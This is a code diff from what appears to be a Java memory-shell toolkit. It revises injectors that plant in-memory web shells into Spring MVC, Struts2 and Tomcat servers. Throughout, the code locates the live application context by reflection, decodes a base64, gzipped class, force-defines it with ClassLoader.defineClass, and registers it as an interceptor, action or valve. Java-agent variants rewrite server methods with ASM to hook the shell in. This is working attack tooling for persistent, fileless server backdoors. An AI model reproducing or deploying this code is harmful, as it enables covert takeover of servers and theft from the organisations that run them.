ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-7
@@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||
+52
-32
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -16,6 +16,9 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebMvcInterceptorInjector {
|
public class SpringWebMvcInterceptorInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
}
|
}
|
||||||
@@ -25,50 +28,49 @@ public class SpringWebMvcInterceptorInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public SpringWebMvcInterceptorInjector() {
|
public SpringWebMvcInterceptorInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
Object context = getContext();
|
return;
|
||||||
Object interceptor = getShell();
|
|
||||||
inject(context, interceptor);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
}
|
Object context = null;
|
||||||
|
|
||||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
context = getContext();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
msg += "context error: " + getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (context == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
Object shell = getShell();
|
||||||
|
msg += "context: [" + context + "] ";
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
public Object getContext() throws Exception {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
Object context = null;
|
|
||||||
try {
|
try {
|
||||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||||
Object session = invokeMethod(request, "getSession");
|
return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||||
Object servletContext = invokeMethod(session, "getServletContext");
|
|
||||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||||
}
|
Object applicationContext = applicationContexts.iterator().next();
|
||||||
if (context == null) {
|
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||||
try {
|
return applicationContext;
|
||||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
|
||||||
Object applicationContext = applicationContexts.iterator().next();
|
|
||||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
|
||||||
context = applicationContext;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return context;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
private Object getShell() throws Exception {
|
private Object getShell() throws Exception {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
Object interceptor = null;
|
Object interceptor = null;
|
||||||
@@ -90,12 +92,15 @@ public class SpringWebMvcInterceptorInjector {
|
|||||||
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
|
||||||
for (Object adaptedInterceptor : adaptedInterceptors) {
|
for (Object adaptedInterceptor : adaptedInterceptors) {
|
||||||
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
|
||||||
System.out.println("interceptor already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
adaptedInterceptors.add(interceptor);
|
adaptedInterceptors.add(interceptor);
|
||||||
System.out.println("interceptor injected successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -175,7 +180,7 @@ public class SpringWebMvcInterceptorInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -189,4 +194,19 @@ public class SpringWebMvcInterceptorInjector {
|
|||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+230
@@ -0,0 +1,230 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.struct2;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/8
|
||||||
|
*/
|
||||||
|
public class Struct2ActionInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Struct2ActionInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Object context = null;
|
||||||
|
try {
|
||||||
|
context = getContext();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "context error: " + getErrorMessage(e);
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getContext() throws Exception {
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
ClassLoader contextClassLoader = thread.getContextClassLoader();
|
||||||
|
if (contextClassLoader != null) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
|
||||||
|
Object context = clazz.getMethod("getContext").invoke(null);
|
||||||
|
if (context != null) {
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void inject(Object context, Object shell) throws Exception {
|
||||||
|
Object actionInvocation = invokeMethod(context, "getActionInvocation");
|
||||||
|
Object actionProxy = getFieldValue(actionInvocation, "proxy");
|
||||||
|
Object configuration = getFieldValue(actionProxy, "configuration");
|
||||||
|
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
|
||||||
|
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
|
||||||
|
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
|
||||||
|
String namespace = entry.getKey();
|
||||||
|
Map<String, Object> configs = entry.getValue();
|
||||||
|
if (!configs.isEmpty()) {
|
||||||
|
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
|
||||||
|
String actionName = getUrlPattern().substring(1);
|
||||||
|
if (configs.containsKey(actionName)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
|
||||||
|
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
|
||||||
|
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
|
||||||
|
actionConfigConstructor.setAccessible(true);
|
||||||
|
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
|
||||||
|
configs.put(actionName, actionConfig);
|
||||||
|
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+65
-7
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,6 +21,10 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getBase64String() {
|
||||||
|
return "{{base64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
@@ -33,7 +40,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -43,6 +49,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
try {
|
try {
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
@@ -53,6 +60,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -69,12 +77,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
||||||
try {
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
|
||||||
} catch (Throwable e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
@@ -154,4 +158,58 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
|
|||||||
return index;
|
return index;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+65
-7
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
|
|||||||
|
|
||||||
import org.objectweb.asm.*;
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,6 +21,10 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static String getBase64String() {
|
||||||
|
return "{{base64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
@@ -33,7 +40,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter");
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -43,6 +49,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
try {
|
try {
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassReader cr = new ClassReader(bytes);
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
@@ -53,6 +60,7 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -69,12 +77,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
